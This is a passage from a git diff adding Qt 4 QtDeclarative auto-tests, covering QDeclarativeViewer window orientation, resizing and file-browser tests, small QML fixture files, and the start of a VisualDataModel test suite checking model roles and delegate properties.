+ QObject *runtimeObject = qvariant_cast<QObject*>(viewer->view()->engine()->rootContext()->contextProperty("runtime"));
+ QVERIFY(runtimeObject);
+
+ // test isActiveWindow property
+ QVERIFY(!runtimeObject->property("isActiveWindow").toBool());
+
+ viewer->show();
+ QApplication::setActiveWindow(viewer);
+ QTest::qWaitForWindowShown(viewer);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(viewer));
+
+ QVERIFY(runtimeObject->property("isActiveWindow").toBool());
+
+ TEST_INITIAL_SIZES(viewer);
+
+ // test orientation property
+ QCOMPARE(runtimeObject->property("orientation").toInt(), int(DeviceOrientation::Portrait));
+
+ viewer->rotateOrientation();
+ qApp->processEvents();
+
+ QCOMPARE(runtimeObject->property("orientation").toInt(), int(DeviceOrientation::Landscape));
+ QCOMPARE(rootItem->width(), 300.0);
+
+ QCOMPARE(rootItem->width(), 300.0);
+ QCOMPARE(rootItem->height(), 200.0);
+ QTRY_COMPARE(viewer->view()->size(), QSize(300, 200));
+ QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(300, 200));
+ QCOMPARE(viewer->size(), QSize(300, 200 + MENUBAR_HEIGHT(viewer)));
+ QCOMPARE(viewer->size(), viewer->sizeHint());
+
+ viewer->rotateOrientation();
+ qApp->processEvents();
+
+ QCOMPARE(runtimeObject->property("orientation").toInt(), int(DeviceOrientation::PortraitInverted));
+
+ QCOMPARE(rootItem->width(), 200.0);
+ QCOMPARE(rootItem->height(), 300.0);
+ QTRY_COMPARE(viewer->view()->size(), QSize(200, 300));
+ QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(200, 300));
+ QCOMPARE(viewer->size(), QSize(200, 300 + MENUBAR_HEIGHT(viewer)));
+ QCOMPARE(viewer->size(), viewer->sizeHint());
+
+ viewer->rotateOrientation();
+ qApp->processEvents();
+
+ QCOMPARE(runtimeObject->property("orientation").toInt(), int(DeviceOrientation::LandscapeInverted));
+
+ viewer->rotateOrientation();
+ qApp->processEvents();
+
+ QCOMPARE(runtimeObject->property("orientation").toInt(), int(DeviceOrientation::Portrait));
+
+ viewer->hide();
+ QVERIFY(!runtimeObject->property("isActiveWindow").toBool());
+
+ delete viewer;
+}
+
+void tst_QDeclarativeViewer::loading()
+{
+ QDeclarativeViewer *viewer = new QDeclarativeViewer();
+ QVERIFY(viewer);
+ viewer->setSizeToView(true);
+ viewer->open(SRCDIR "/data/orientation.qml");
+ QVERIFY(viewer->view());
+ QVERIFY(viewer->menuBar());
+ QDeclarativeItem* rootItem = qobject_cast<QDeclarativeItem*>(viewer->view()->rootObject());
+ QVERIFY(rootItem);
+ viewer->show();
+
+ QApplication::setActiveWindow(viewer);
+ QTest::qWaitForWindowShown(viewer);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(viewer));
+
+ TEST_INITIAL_SIZES(viewer);
+
+ viewer->resize(QSize(250, 350));
+ qApp->processEvents();
+
+ // window resized
+ QTRY_COMPARE(rootItem->width(), 250.0);
+ QTRY_COMPARE(rootItem->height(), 350.0 - MENUBAR_HEIGHT(viewer));
+ QCOMPARE(viewer->view()->size(), QSize(250, 350 - MENUBAR_HEIGHT(viewer)));
+ QCOMPARE(viewer->view()->initialSize(), QSize(200, 300));
+ QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(250, 350 - MENUBAR_HEIGHT(viewer)));
+ QCOMPARE(viewer->size(), QSize(250, 350));
+ QCOMPARE(viewer->size(), viewer->sizeHint());
+
+ QSignalSpy statusSpy(viewer->view(), SIGNAL(statusChanged(QDeclarativeView::Status)));
+ viewer->reload();
+ QTRY_VERIFY(statusSpy.count() == 1);
+ rootItem = qobject_cast<QDeclarativeItem*>(viewer->view()->rootObject());
+ QVERIFY(rootItem);
+
+ // reload cause the window to return back to initial size
+ QTRY_COMPARE(rootItem->width(), 200.0);
+ QTRY_COMPARE(rootItem->height(), 300.0);
+ QCOMPARE(viewer->view()->size(), QSize(200, 300));
+ QCOMPARE(viewer->view()->initialSize(), QSize(200, 300));
+ QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(200, 300));
+ QCOMPARE(viewer->size(), QSize(200, 300 + MENUBAR_HEIGHT(viewer)));
+ QCOMPARE(viewer->size(), viewer->sizeHint());
+
+ viewer->resize(QSize(250, 350));
+ qApp->processEvents();
+
+ // window resized again
+ QTRY_COMPARE(rootItem->width(), 250.0);
+ QTRY_COMPARE(rootItem->height(), 350.0 - MENUBAR_HEIGHT(viewer));
+ QCOMPARE(viewer->view()->size(), QSize(250, 350 - MENUBAR_HEIGHT(viewer)));
+ QCOMPARE(viewer->view()->initialSize(), QSize(200, 300));
+ QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(250, 350 - MENUBAR_HEIGHT(viewer)));
+ QCOMPARE(viewer->size(), QSize(250, 350));
+ QCOMPARE(viewer->size(), viewer->sizeHint());
+
+ viewer->open(SRCDIR "/data/orientation.qml");
+ rootItem = qobject_cast<QDeclarativeItem*>(viewer->view()->rootObject());
+ QVERIFY(rootItem);
+
+ // open also causes the window to return back to initial size
+ QTRY_COMPARE(rootItem->width(), 200.0);
+ QTRY_COMPARE(rootItem->height(), 300.0);
+ QCOMPARE(viewer->view()->size(), QSize(200, 300));
+ QCOMPARE(viewer->view()->initialSize(), QSize(200, 300));
+ QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(200, 300));
+ QCOMPARE(viewer->size(), QSize(200, 300 + MENUBAR_HEIGHT(viewer)));
+ QCOMPARE(viewer->size(), viewer->sizeHint());
+
+ delete viewer;
+}
+
+static int numberOfWarnings = 0;
+static void checkWarnings(QtMsgType, const char *)
+{
+ numberOfWarnings++;
+}
+
+void tst_QDeclarativeViewer::fileBrowser()
+{
+ QtMsgHandler previousMsgHandler = qInstallMsgHandler(checkWarnings);
+ QDeclarativeViewer *viewer = new QDeclarativeViewer();
+ QVERIFY(viewer);
+ viewer->setUseNativeFileBrowser(false);
+ viewer->openFile();
+ viewer->show();
+ QCoreApplication::processEvents();
+ qInstallMsgHandler(previousMsgHandler);
+
+ // QTBUG-15720
+ QVERIFY(numberOfWarnings == 0);
+
+ QApplication::setActiveWindow(viewer);
+ QTest::qWaitForWindowShown(viewer);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(viewer));
+
+ // Browser.qml successfully loaded
+ QDeclarativeItem* browserItem = qobject_cast<QDeclarativeItem*>(viewer->view()->rootObject());
+ QVERIFY(viewer->view());
+ QVERIFY(viewer->menuBar());
+ QVERIFY(browserItem);
+
+ // load something
+ viewer->open(SRCDIR "/data/orientation.qml");
+ QVERIFY(viewer->view());
+ QVERIFY(viewer->menuBar());
+ QDeclarativeItem* rootItem = qobject_cast<QDeclarativeItem*>(viewer->view()->rootObject());
+ QVERIFY(rootItem);
+ QVERIFY(browserItem != rootItem);
+
+ // go back to Browser.qml
+ viewer->openFile();
+ browserItem = qobject_cast<QDeclarativeItem*>(viewer->view()->rootObject());
+ QVERIFY(viewer->view());
+ QVERIFY(viewer->menuBar());
+ QVERIFY(browserItem);
+
+ delete viewer;
+}
+
+void tst_QDeclarativeViewer::resizing()
+{
+ QDeclarativeViewer *viewer = new QDeclarativeViewer();
+ QVERIFY(viewer);
+ viewer->open(SRCDIR "/data/orientation.qml");
+ QVERIFY(viewer->view());
+ QVERIFY(viewer->menuBar());
+ QDeclarativeItem* rootItem = qobject_cast<QDeclarativeItem*>(viewer->view()->rootObject());
+ QVERIFY(rootItem);
+ viewer->show();
+
+ QApplication::setActiveWindow(viewer);
+ QTest::qWaitForWindowShown(viewer);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(viewer));
+
+ TEST_INITIAL_SIZES(viewer);
+
+ viewer->setSizeToView(false);
+
+ // size view to root object
+ rootItem->setWidth(150);
+ rootItem->setHeight(200);
+ qApp->processEvents();
+
+ QCOMPARE(rootItem->width(), 150.0);
+ QCOMPARE(rootItem->height(), 200.0);
+ QTRY_COMPARE(viewer->view()->size(), QSize(150, 200));
+ QCOMPARE(viewer->view()->initialSize(), QSize(200, 300));
+ QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(150, 200));
+ QCOMPARE(viewer->size(), QSize(150, 200 + MENUBAR_HEIGHT(viewer)));
+
+ // do not size root object to view
+ viewer->resize(QSize(180,250));
+ QCOMPARE(rootItem->width(), 150.0);
+ QCOMPARE(rootItem->height(), 200.0);
+
+ viewer->setSizeToView(true);
+
+ // size root object to view
+ viewer->resize(QSize(250,350));
+ qApp->processEvents();
+
+ QTRY_COMPARE(rootItem->width(), 250.0);
+ QTRY_COMPARE(rootItem->height(), 350.0 - MENUBAR_HEIGHT(viewer));
+ QTRY_COMPARE(viewer->view()->size(), QSize(250, 350 - MENUBAR_HEIGHT(viewer)));
+ QCOMPARE(viewer->view()->initialSize(), QSize(200, 300));
+ QCOMPARE(viewer->view()->sceneRect().size(), QSizeF(250, 350 - MENUBAR_HEIGHT(viewer)));
+ QCOMPARE(viewer->size(), QSize(250, 350));
+
+ // do not size view to root object
+ rootItem->setWidth(150);
+ rootItem->setHeight(200);
+ QTRY_COMPARE(viewer->size(), QSize(250, 350));
+
+ delete viewer;
+}
+
+void tst_QDeclarativeViewer::paths()
+{
+ QDeclarativeViewer *viewer = new QDeclarativeViewer();
+ QVERIFY(viewer);
+
+ viewer->addLibraryPath("miscImportPath");
+ viewer->view()->engine()->importPathList().contains("miscImportPath");
+
+ viewer->addPluginPath("miscPluginPath");
+ viewer->view()->engine()->pluginPathList().contains("miscPluginPath");
+
+ delete viewer;
+}
+
+void tst_QDeclarativeViewer::slowMode()
+{
+ QDeclarativeViewer *viewer = new QDeclarativeViewer();
+ QVERIFY(viewer);
+
+ viewer->setSlowMode(true);
+ viewer->setSlowMode(false);
+
+ delete viewer;
+}
+
+QTEST_MAIN(tst_QDeclarativeViewer)
+
+#include "tst_qdeclarativeviewer.moc"
diff --git a/tests/auto/declarative/qdeclarativevisualdatamodel/data/datalist.qml b/tests/auto/declarative/qdeclarativevisualdatamodel/data/datalist.qml
new file mode 100644
index 00000000..ebf1eea6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevisualdatamodel/data/datalist.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+ListView {
+ width: 100
+ height: 100
+ anchors.fill: parent
+ model: VisualDataModel {
+ id: visualModel
+ objectName: "visualModel"
+ model: myModel
+ delegate: Component {
+ Rectangle {
+ height: 25
+ width: 100
+ Text { objectName: "display"; text: display }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevisualdatamodel/data/modelproperties.qml b/tests/auto/declarative/qdeclarativevisualdatamodel/data/modelproperties.qml
new file mode 100644
index 00000000..8cd57636
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevisualdatamodel/data/modelproperties.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+ListView {
+ model: myModel
+ delegate: Item {
+ objectName: "delegate"
+ property variant test1: name
+ property variant test2: model.name
+ property variant test3: modelData
+ property variant test4: model.modelData
+ property variant test5: modelData.name
+ property variant test6: model
+ property variant test7: index
+ property variant test8: model.index
+ property variant test9: model.modelData.name
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevisualdatamodel/data/modelproperties2.qml b/tests/auto/declarative/qdeclarativevisualdatamodel/data/modelproperties2.qml
new file mode 100644
index 00000000..67721c92
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevisualdatamodel/data/modelproperties2.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+ListView {
+ model: myModel
+ delegate: Item {
+ objectName: "delegate"
+ property variant test1: display
+ property variant test2: model.display
+ property variant test3: modelData
+ property variant test4: model.modelData
+ property variant test5: modelData.display
+ property variant test6: model
+ property variant test7: index
+ property variant test8: model.index
+ property variant test9: model.modelData.display
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevisualdatamodel/data/objectlist.qml b/tests/auto/declarative/qdeclarativevisualdatamodel/data/objectlist.qml
new file mode 100644
index 00000000..41342597
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevisualdatamodel/data/objectlist.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+ListView {
+ width: 100
+ height: 100
+ anchors.fill: parent
+ model: myModel
+ delegate: Component {
+ Rectangle {
+ height: 25
+ width: 100
+ color: model.modelData.color
+ Text { objectName: "name"; text: name }
+ Text { objectName: "section"; text: parent.ListView.section }
+ }
+ }
+ section.property: "name"
+ section.criteria: ViewSection.FullString
+}
diff --git a/tests/auto/declarative/qdeclarativevisualdatamodel/data/singlerole1.qml b/tests/auto/declarative/qdeclarativevisualdatamodel/data/singlerole1.qml
new file mode 100644
index 00000000..d72e128b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevisualdatamodel/data/singlerole1.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+ListView {
+ width: 100
+ height: 100
+ anchors.fill: parent
+ model: myModel
+ delegate: Component {
+ Text { objectName: "name"; text: name }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevisualdatamodel/data/singlerole2.qml b/tests/auto/declarative/qdeclarativevisualdatamodel/data/singlerole2.qml
new file mode 100644
index 00000000..b9e666ce
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevisualdatamodel/data/singlerole2.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+ListView {
+ width: 100
+ height: 100
+ anchors.fill: parent
+ model: myModel
+ delegate: Component {
+ Text { objectName: "name"; text: modelData }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativevisualdatamodel/data/visualdatamodel.qml b/tests/auto/declarative/qdeclarativevisualdatamodel/data/visualdatamodel.qml
new file mode 100644
index 00000000..a5c44d01
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevisualdatamodel/data/visualdatamodel.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+VisualDataModel {
+ function setRoot() {
+ rootIndex = modelIndex(0);
+ }
+ function setRootToParent() {
+ rootIndex = parentModelIndex();
+ }
+ model: myModel
+}
diff --git a/tests/auto/declarative/qdeclarativevisualdatamodel/qdeclarativevisualdatamodel.pro b/tests/auto/declarative/qdeclarativevisualdatamodel/qdeclarativevisualdatamodel.pro
new file mode 100644
index 00000000..fe3d7946
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevisualdatamodel/qdeclarativevisualdatamodel.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativevisualdatamodel.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativevisualdatamodel/tst_qdeclarativevisualdatamodel.cpp b/tests/auto/declarative/qdeclarativevisualdatamodel/tst_qdeclarativevisualdatamodel.cpp
new file mode 100644
index 00000000..28de5bd2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevisualdatamodel/tst_qdeclarativevisualdatamodel.cpp
@@ -0,0 +1,606 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "../../../shared/util.h"
+#include <qtest.h>
+#include <QtTest/QSignalSpy>
+#include <QStandardItemModel>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeexpression.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativelistview_p.h>
+#include <private/qdeclarativetext_p.h>
+#include <private/qdeclarativevisualitemmodel_p.h>
+#include <private/qdeclarativevaluetype_p.h>
+#include <math.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+static void initStandardTreeModel(QStandardItemModel *model)
+{
+ QStandardItem *item;
+ item = new QStandardItem(QLatin1String("Row 1 Item"));
+ model->insertRow(0, item);
+
+ item = new QStandardItem(QLatin1String("Row 2 Item"));
+ item->setCheckable(true);
+ model->insertRow(1, item);
+
+ QStandardItem *childItem = new QStandardItem(QLatin1String("Row 2 Child Item"));
+ item->setChild(0, childItem);
+
+ item = new QStandardItem(QLatin1String("Row 3 Item"));
+ item->setIcon(QIcon());
+ model->insertRow(2, item);
+}
+
+class SingleRoleModel : public QAbstractListModel
+{
+ Q_OBJECT
+
+public:
+ SingleRoleModel(QObject *parent = 0) {
+ QHash<int, QByteArray> roles;
+ roles.insert(Qt::DisplayRole , "name");
+ setRoleNames(roles);
+ list << "one" << "two" << "three" << "four";
+ }
+
+ void emitMove(int sourceFirst, int sourceLast, int destinationChild) {
+ emit beginMoveRows(QModelIndex(), sourceFirst, sourceLast, QModelIndex(), destinationChild);
+ emit endMoveRows();
+ }
+
+ QStringList list;
+
+public slots:
+ void set(int idx, QString string) {
+ list[idx] = string;
+ emit dataChanged(index(idx,0), index(idx,0));
+ }
+
+protected:
+ int rowCount(const QModelIndex &parent = QModelIndex()) const {
+ return list.count();
+ }
+ QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const {
+ if (role == Qt::DisplayRole)
+ return list.at(index.row());
+ return QVariant();
+ }
+};
+
+
+class tst_qdeclarativevisualdatamodel : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativevisualdatamodel();
+
+private slots:
+ void rootIndex();
+ void updateLayout();
+ void childChanged();
+ void objectListModel();
+ void singleRole();
+ void modelProperties();
+ void noDelegate();
+ void qaimRowsMoved();
+ void qaimRowsMoved_data();
+
+private:
+ QDeclarativeEngine engine;
+ template<typename T>
+ T *findItem(QGraphicsObject *parent, const QString &objectName, int index);
+};
+
+class DataObject : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
+ Q_PROPERTY(QString color READ color WRITE setColor NOTIFY colorChanged)
+
+public:
+ DataObject(QObject *parent=0) : QObject(parent) {}
+ DataObject(const QString &name, const QString &color, QObject *parent=0)
+ : QObject(parent), m_name(name), m_color(color) { }
+
+
+ QString name() const { return m_name; }
+ void setName(const QString &name) {
+ if (name != m_name) {
+ m_name = name;
+ emit nameChanged();
+ }
+ }
+
+ QString color() const { return m_color; }
+ void setColor(const QString &color) {
+ if (color != m_color) {
+ m_color = color;
+ emit colorChanged();
+ }
+ }
+
+signals:
+ void nameChanged();
+ void colorChanged();
+
+private:
+ QString m_name;
+ QString m_color;
+};
+
+tst_qdeclarativevisualdatamodel::tst_qdeclarativevisualdatamodel()
+{
+}
+
+void tst_qdeclarativevisualdatamodel::rootIndex()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/visualdatamodel.qml"));
+
+ QStandardItemModel model;
+ initStandardTreeModel(&model);
+
+ engine.rootContext()->setContextProperty("myModel", &model);
+
+ QDeclarativeVisualDataModel *obj = qobject_cast<QDeclarativeVisualDataModel*>(c.create());
+ QVERIFY(obj != 0);
+
+ QMetaObject::invokeMethod(obj, "setRoot");
+ QVERIFY(qvariant_cast<QModelIndex>(obj->rootIndex()) == model.index(0,0));
+
+ QMetaObject::invokeMethod(obj, "setRootToParent");
+ QVERIFY(qvariant_cast<QModelIndex>(obj->rootIndex()) == QModelIndex());
+
+ QMetaObject::invokeMethod(obj, "setRoot");
+ QVERIFY(qvariant_cast<QModelIndex>(obj->rootIndex()) == model.index(0,0));
+ model.clear(); // will emit modelReset()
+ QVERIFY(qvariant_cast<QModelIndex>(obj->rootIndex()) == QModelIndex());
+
+ delete obj;
+}
+
+void tst_qdeclarativevisualdatamodel::updateLayout()
+{
+ QDeclarativeView view;
+
+ QStandardItemModel model;
+ initStandardTreeModel(&model);
+
+ view.rootContext()->setContextProperty("myModel", &model);
+
+ view.setSource(QUrl::fromLocalFile(SRCDIR "/data/datalist.qml"));
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(view.rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "display", 0);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 1 Item"));
+ name = findItem<QDeclarativeText>(contentItem, "display", 1);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 2 Item"));
+ name = findItem<QDeclarativeText>(contentItem, "display", 2);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 3 Item"));
+
+ model.invisibleRootItem()->sortChildren(0, Qt::DescendingOrder);
+
+ name = findItem<QDeclarativeText>(contentItem, "display", 0);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 3 Item"));
+ name = findItem<QDeclarativeText>(contentItem, "display", 1);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 2 Item"));
+ name = findItem<QDeclarativeText>(contentItem, "display", 2);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 1 Item"));
+}
+
+void tst_qdeclarativevisualdatamodel::childChanged()
+{
+ QDeclarativeView view;
+
+ QStandardItemModel model;
+ initStandardTreeModel(&model);
+
+ view.rootContext()->setContextProperty("myModel", &model);
+
+ view.setSource(QUrl::fromLocalFile(SRCDIR "/data/datalist.qml"));
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(view.rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ QDeclarativeVisualDataModel *vdm = listview->findChild<QDeclarativeVisualDataModel*>("visualModel");
+ vdm->setRootIndex(QVariant::fromValue(model.indexFromItem(model.item(1,0))));
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "display", 0);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 2 Child Item"));
+
+ model.item(1,0)->child(0,0)->setText("Row 2 updated child");
+
+ name = findItem<QDeclarativeText>(contentItem, "display", 0);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 2 updated child"));
+
+ model.item(1,0)->appendRow(new QStandardItem(QLatin1String("Row 2 Child Item 2")));
+ QTest::qWait(300);
+
+ name = findItem<QDeclarativeText>(contentItem, "display", 1);
+ QVERIFY(name != 0);
+ QCOMPARE(name->text(), QString("Row 2 Child Item 2"));
+
+ model.item(1,0)->takeRow(1);
+ name = findItem<QDeclarativeText>(contentItem, "display", 1);
+ QVERIFY(name == 0);
+
+ vdm->setRootIndex(QVariant::fromValue(QModelIndex()));
+ QTest::qWait(300);
+ name = findItem<QDeclarativeText>(contentItem, "display", 0);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 1 Item"));
+ name = findItem<QDeclarativeText>(contentItem, "display", 1);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 2 Item"));
+ name = findItem<QDeclarativeText>(contentItem, "display", 2);
+ QVERIFY(name);
+ QCOMPARE(name->text(), QString("Row 3 Item"));
+}
+
+void tst_qdeclarativevisualdatamodel::objectListModel()
+{
+ QDeclarativeView view;
+
+ QList<QObject*> dataList;
+ dataList.append(new DataObject("Item 1", "red"));
+ dataList.append(new DataObject("Item 2", "green"));
+ dataList.append(new DataObject("Item 3", "blue"));
+ dataList.append(new DataObject("Item 4", "yellow"));
+
+ QDeclarativeContext *ctxt = view.rootContext();
+ ctxt->setContextProperty("myModel", QVariant::fromValue(dataList));
+
+ view.setSource(QUrl::fromLocalFile(SRCDIR "/data/objectlist.qml"));
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(view.rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "name", 0);
+ QCOMPARE(name->text(), QString("Item 1"));
+
+ QDeclarativeText *section = findItem<QDeclarativeText>(contentItem, "section", 0);
+ QCOMPARE(section->text(), QString("Item 1"));
+
+ dataList[0]->setProperty("name", QLatin1String("Changed"));
+ QCOMPARE(name->text(), QString("Changed"));
+}
+
+void tst_qdeclarativevisualdatamodel::singleRole()
+{
+ {
+ QDeclarativeView view;
+
+ SingleRoleModel model;
+
+ QDeclarativeContext *ctxt = view.rootContext();
+ ctxt->setContextProperty("myModel", &model);
+
+ view.setSource(QUrl::fromLocalFile(SRCDIR "/data/singlerole1.qml"));
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(view.rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "name", 1);
+ QCOMPARE(name->text(), QString("two"));
+
+ model.set(1, "Changed");
+ QCOMPARE(name->text(), QString("Changed"));
+ }
+ {
+ QDeclarativeView view;
+
+ SingleRoleModel model;
+
+ QDeclarativeContext *ctxt = view.rootContext();
+ ctxt->setContextProperty("myModel", &model);
+
+ view.setSource(QUrl::fromLocalFile(SRCDIR "/data/singlerole2.qml"));
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(view.rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "name", 1);
+ QCOMPARE(name->text(), QString("two"));
+
+ model.set(1, "Changed");
+ QCOMPARE(name->text(), QString("Changed"));
+ }
+}
+
+void tst_qdeclarativevisualdatamodel::modelProperties()
+{
+ {
+ QDeclarativeView view;
+
+ SingleRoleModel model;
+
+ QDeclarativeContext *ctxt = view.rootContext();
+ ctxt->setContextProperty("myModel", &model);
+
+ view.setSource(QUrl::fromLocalFile(SRCDIR "/data/modelproperties.qml"));
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(view.rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ QDeclarativeItem *delegate = findItem<QDeclarativeItem>(contentItem, "delegate", 1);
+ QCOMPARE(delegate->property("test1").toString(),QString("two"));
+ QCOMPARE(delegate->property("test2").toString(),QString("two"));
+ QCOMPARE(delegate->property("test3").toString(),QString("two"));
+ QCOMPARE(delegate->property("test4").toString(),QString("two"));
+ QVERIFY(!delegate->property("test9").isValid());
+ QCOMPARE(delegate->property("test5").toString(),QString(""));
+ QVERIFY(delegate->property("test6").value<QObject*>() != 0);
+ QCOMPARE(delegate->property("test7").toInt(),1);
+ QCOMPARE(delegate->property("test8").toInt(),1);
+ }
+
+ {
+ QDeclarativeView view;
+
+ QList<QObject*> dataList;
+ dataList.append(new DataObject("Item 1", "red"));
+ dataList.append(new DataObject("Item 2", "green"));
+ dataList.append(new DataObject("Item 3", "blue"));
+ dataList.append(new DataObject("Item 4", "yellow"));
+
+ QDeclarativeContext *ctxt = view.rootContext();
+ ctxt->setContextProperty("myModel", QVariant::fromValue(dataList));
+
+ view.setSource(QUrl::fromLocalFile(SRCDIR "/data/modelproperties.qml"));
+
+ QDeclarativeListView *listview = qobject_cast<QDeclarativeListView*>(view.rootObject());
+ QVERIFY(listview != 0);
+
+ QDeclarativeItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ QDeclarativeItem *delegate = findItem<QDeclarativeItem>(contentItem, "delegate", 1);
+ QCOMPARE(delegate->property("test1").toString(),QString("Item 2"));
+ QEXPECT_FAIL("", "QTBUG-13576", Continue);
+ QCOMPARE(delegate->property("test2").toString(),QString("Item 2"));
+ QVERIFY(qobject_cast<DataObject*>(delegate->property("test3").value<QObject*>()) != 0);
+ QVERIFY(qobject_cast<DataObject*>(delegate->property("test4").value<QObject*>()) != 0);
+ QCOMPARE(delegate->property("test5").toString(),QString("Item 2"));
+ QCOMPARE(delegate->property("test9").toString(),QString("Item 2"));
+ QVERIFY(delegate->property("test6").value<QObject*>() != 0);
+ QCOMPARE(delegate->property("test7").toInt(),1);
+ QCOMPARE(delegate->property("test8").toInt(),1);
+ }
+
+ {
+ QDeclarativeView view;
+
+ QStandardItemModel model;
+ initStandardTreeModel(&model);
+
+ view.rootContext()->setContextProperty("myModel", &model);
+
+ QUrl source(QUrl::fromLocalFile(SRCDIR "/data/modelproperties2.qml"));
+
+ //3 items, 3 warnings each
